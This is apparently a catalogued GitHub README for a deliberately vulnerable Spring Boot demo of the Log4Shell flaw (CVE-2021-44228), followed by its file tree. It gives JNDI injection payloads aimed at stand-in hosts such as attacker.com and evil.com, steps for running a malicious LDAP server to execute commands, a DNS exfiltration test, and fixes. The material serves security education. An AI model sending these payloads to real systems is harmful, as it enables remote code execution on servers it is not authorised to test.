来源

关联漏洞

描述

Demo of CVE-2021-44228 Log4Shell.

介绍

# Log4j2-BugMaker

## CVE-2021-44228 Log4Shell 漏洞演示项目

这是一个用于学习和研究 Log4j2 远程代码执行漏洞（Log4Shell）的演示项目。

## ⚠️ 安全警告

**此项目仅用于安全研究和教育目的，请勿在生产环境中使用！**

本项目使用了存在严重安全漏洞的 Log4j 2.14.1 版本。

## 📋 环境配置

- **Spring Boot**: 2.6.1
- **Log4j2**: 2.14.1 (易受攻击版本)
- **Java**: 8 (JDK 1.8)

## 🚀 快速开始

### 1. 编译项目

```bash
./mvnw clean package
```

### 2. 运行应用

```bash
./mvnw spring-boot:run
```

或者：

```bash
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
```

### 3. 访问应用

打开浏览器访问：http://localhost:8080

## 🎯 漏洞端点

### 1. User-Agent 头注入

```bash
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
```

### 2. 查询参数注入

```bash
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
```

### 3. 健康检查（无漏洞）

```bash
curl http://localhost:8080/api/health
```

## 💡 漏洞原理

Log4Shell (CVE-2021-44228) 是 Apache Log4j2 中的一个严重漏洞。当应用程序记录包含特殊格式字符串的用户输入时，Log4j2 会解析 JNDI 查找表达式，攻击者可以利用此特性执行远程代码。

### 攻击载荷示例

```
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
```

### 测试载荷（安全）

```
${java:version}
${java:os}
${env:PATH}
```

## 🔧 测试步骤

1. 启动应用
2. 发送包含 JNDI 表达式的请求
3. 查看控制台日志，观察 Log4j2 的解析行为

## 🛡️ 修复方案

### 方案 1：升级 Log4j2 版本

将 Log4j2 升级到 2.17.1 或更高版本：

```xml
<properties>
    <log4j2.version>2.17.1</log4j2.version>
</properties>
```

### 方案 2：设置 JVM 参数

```bash
-Dlog4j2.formatMsgNoLookups=true
```

### 方案 3：移除 JndiLookup 类

```bash
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
```

## 🚀 远程代码执行演示

### 方法 1：使用提供的工具（推荐）

```bash
# 1. 运行自动化脚本
./setup-exploit-server.sh

# 2. 选择 JNDI-Injection-Exploit 工具
# 3. 输入要执行的命令（如 whoami 或 cat /etc/hosts）
# 4. 在另一个终端发送攻击载荷
```

### 方法 2：使用 Python LDAP 服务器

```bash
# 启动恶意 LDAP 服务器
python3 simple-ldap-server.py "whoami"

# 或执行其他命令
python3 simple-ldap-server.py "cat /etc/hosts"

# 在另一个终端发送攻击载荷
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
```

### 方法 3：DNS 外带验证（无需搭建服务器）

```bash
# 运行 DNS 外带测试脚本
./test-dns-exfiltration.sh

# 按提示操作，访问 dnslog.cn 获取子域名
# 然后查看是否收到 DNS 查询请求
```

## 📚 参考资料

- [CVE-2021-44228 详情](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)
- [Apache Log4j 安全公告](https://logging.apache.org/log4j/2.x/security.html)
- [CISA 警告](https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a)
- [JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit)
- [JNDIExploit](https://github.com/feihong-cs/JNDIExploit)

## 📝 许可证

本项目采用 [MIT License](LICENSE) 开源协议。

**特别声明**：本项目仅用于教育和安全研究目的，使用者需自行承担使用风险。

## ⚠️ 法律声明

未经授权对他人系统进行渗透测试是违法行为！本项目仅用于：
- 在自己的测试环境中学习
- 经过授权的安全测试
- 安全研究和教育目的

请遵守当地法律法规，负责任地使用这些知识。

文件快照

 [4.0K]  /data/pocs/9e760257411788d0d268a5d3972bcb62f1a5b989
├── [1.4K]  HELP.md
├── [1.4K]  LICENSE
├── [ 12K]  mvnw
├── [8.3K]  mvnw.cmd
├── [3.1K]  pom.xml
├── [3.7K]  README.md
└── [4.0K]  src
    ├── [4.0K]  main
    │   ├── [4.0K]  java
    │   │   └── [4.0K]  cn
    │   │       └── [4.0K]  mintimate
    │   │           └── [4.0K]  bugmaker
    │   │               ├── [ 330]  BugmakerApplication.java
    │   │               └── [4.0K]  controller
    │   │                   ├── [ 276]  HomeController.java
    │   │                   └── [1.1K]  VulnerableController.java
    │   └── [4.0K]  resources
    │       ├── [  40]  application.properties
    │       ├── [ 396]  log4j2.xml
    │       └── [4.0K]  templates
    │           └── [ 11K]  index.html
    └── [4.0K]  test
        └── [4.0K]  java
            └── [4.0K]  cn
                └── [4.0K]  mintimate
                    └── [4.0K]  bugmaker
                        └── [ 224]  BugmakerApplicationTests.java

14 directories, 13 files

备注